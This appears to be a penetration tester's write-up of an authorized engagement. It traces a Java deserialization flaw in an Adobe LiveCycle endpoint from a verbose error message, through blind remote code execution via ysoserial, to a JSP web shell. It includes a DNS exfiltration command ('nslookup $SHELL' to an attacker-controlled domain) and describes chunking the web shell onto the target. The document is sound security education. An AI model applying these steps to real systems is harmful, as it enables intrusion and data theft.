Last updated
Last updated
A key step in web application testing is enumerating the application's available endpoints. This process attempts to discover content and capture the application's response for each request to a given endpoint. Using this technique from an unauthenticated perspective, one endpoint provided a verbose error message revealing the "serDoc" parameter is missing:
By appending the "serDoc" parameter to the original request and specifying an arbitrary value of "a", the endpoint responded again with a new message:
We noted three main items of interest from these initial error messages:
"java.lang.ArrayIndexOutOfBoundsException: 1"
"Base64.decode"
"decodeAndUnzip"
The first item required additional testing to understand, and the other two items provided context that was useful later in the test.
Application fuzzing is a technique to transmit specific data sets to a specific positional index in a given HTTP request. This allows thousands of requests to be quickly sent to a desired endpoint. Since the error message mentioned an "Array Index Out Of Bounds Exception", we focused fuzzing on a large set of integers to identify the index length the application expected. Using Burp Suite's Intruder function, we sent the numbers 1-50,000 to the endpoint to see if new responses or errors could be seen.
With integers sent in multiples of four, a new error message indicated the application is using the Adobe LiveCycle Forms Designer and that the zipping format is GZIP (error: "Not in GZIP format").
While fuzzing, we reviewed previous requests and responses to the endpoint, searching for an example of how this endpoint is used in the normal function of the web application. Since we were focused on a single endpoint, finding a valid parameter was relatively easy.
Elements of the valid parameter have been modified to protect client confidentiality while still providing an example of the encoding used.
At first glance, the object type and encoding for the serDoc parameter is not immediately obvious. Looking back at the information collected from the different error messages and the valid parameter, we identified the object was likely a Java object using a combination of GZIP, Base64, and URL encoding. After a few combinations, we identified the correct order for the encoding methods by decoding the valid parameter.
Elements of the valid parameter have been modified to protect client confidentiality while still providing an example of the encoding used.
The encoding combination that the application expected was a Java serialized object compressed with GZIP, Base64 encoded, and then URL encoded. In this case, the decoding of the valid parameter yielded string information that clearly identified the object as a Java serialized object; however, if we hadn't already known, the first two hexadecimal bytes clearly identify the object as a Java serialized object: AC ED.
By specifying the correct encoding sequence, the scanner used the sleep method to identify the endpoint as potentially vulnerable for Java 6 and Java 7 (up to Jdk7u21).
The previous figures show:
Creating a payload for the Jdk7u21 library that passed the command nslookup $SHELL.a.finansbilgin.com
to the OS
Using Burp Suite to send the payload to the endpoint
The command tcpdump -n port 53
listening on the name server we controlled (a.finansbilgin.com), observing name resolution requests from the target system
In short, Java programs automatically instantiate associated Java classes when a serialized object is deserialized. The Jdk7u21 Java library contains a vulnerability that allows an adversary to pass commands to the operating system by cleverly chaining together Java gadget classes.
The ysoserial tool chains together the appropriate gadget classes, inserts the specified OS commands, and compiles the output into a Java serialized object. A snippet of the resulting binary gives some insight into what a serialized object payload looks like.
Eliciting a DNS query appended with environment variables successfully demonstrated RCE at the OS level; however, as penetration testers, our job is to demonstrate the impact of such a vulnerability. With that in mind, the standard next step is to achieve an interactive shell on the vulnerable system.
With the goal of gaining an interactive shell on the system, we had to first assess the egress options.
The initial payload had already confirmed that recursive DNS was an egress option. We chose DNS interaction for the initial payload since DNS is typically the most likely to succeed. Even in environments with strict egress controls, DNS interactions can typically be observed because the recursive nature of DNS allows an endpoint to communicate with the adversary-controlled name server indirectly. Even if the target system is restricted from accessing the internet, it can send DNS requests to its primary DNS server, which can in turn communicate with another DNS server, so on and so forth until the request reaches the adversary-controlled name server.
Initial constraints:
The exploit was blind OS execution: except in the case of appending output to a DNS query, we could not see the result of any commands.
We had to be careful to only send commands that would complete without user interaction. For instance, if we sent a ping
command to a Linux device without the -c [number]
flag, that would have caused a continuous ping until exited by terminal interaction. It was unclear if that would have caused the application to crash or prevented further execution until the system was restarted.
The serialized object could only be sent to the web application in the URL of a GET request.
The maximum character length that the web application would accept in the path was 2,048 characters.
The overhead required for the ysoserial payload meant that the maximum length of the OS commands passed was approximately 115 characters.
The maximum length of an ASCII character encoded DNS name is essentially 253 ASCII readable characters (including periods), with each subdomain consisting of no more than 63 characters, e.g. [63 ASCII].[63 ASCII].[63 ASCII].[61 ASCII]
.
Already known:
Based on the environment variables appended to the DNS queries and which payload was successful, we knew the operating system was Linux based.
The shell language was KornShell.
We attempted to initiate HTTP and HTTPS requests to our server using a variety of standard Linux command-line tools but were unsuccessful.
To mitigate the blind OS execution constraint, we began appending the output of complex commands to the DNS queries. When necessary, we used base64 encoding to pass special characters and the head/tail commands to read small snippets of output at a time.
After determining the user had the requisite rights to read and write files in the working directory, we passed the output from long commands into a file and used a second payload to read the output:
Using a variety of reconnaissance methods, we gathered the following key information:
Network controls restricted egress options
Network controls restricted inbound options
OS commands were executed in the context of a low-privileged user
The user had write permissions over a web directory that was accessible to unauthenticated users via a web browser.
Web shells are not our preferred method of creating an interactive shell on a compromised system because they can possibly introduce additional risk to the client. While unlikely, it is possible that an individual other than an authorized tester finds and uses the web shell. Given the constraints and additional mitigating controls, however, the client authorized the use of a web shell to demonstrate impact.
The next process required:
A JSP web shell.
Encoding the JSP web shell to pass special characters in the payload.
Chunking the encoded text into sizes that fit within the payload length limitations.
Sending multiple payloads to the endpoint that echo
chunks of the JSP web shell into a file on the target system.
Decoding the completed JSP web shell file on the system.
Renaming the file extension to .JSP and moving the web shell to an accessible location.
Navigating to the new JSP web shell endpoint in a web browser provided an interactive shell.
With the interactive shell, we were no longer limited by the payload constraints. We successfully moved from a verbose error message, to blind RCE via serialized objects, to an interactive shell on the system.
With the interactive shell, we were able to demonstrate to the client the full extent of the breach, from establishing a foothold in their secure web enclave, to privilege escalation and lateral movement opportunities.
With the object and encoding correctly identified, we used a more targeted scanner to evaluate the application endpoint for vulnerabilities: the . Note that this plugin relies on , so using the may yield slightly different results than the plugin.
Using the to create a payload, we verified blind OS execution by appending the $SHELL
environment variable to a DNS lookup against a name server we controlled.
To exploit this vulnerability, it isn't necessary to completely understand how the ysoserial tool exploits the Java library; however, Chris Frohoff provides an outstanding explanation in his .
From a verbose error message to a foothold in a secure server environment.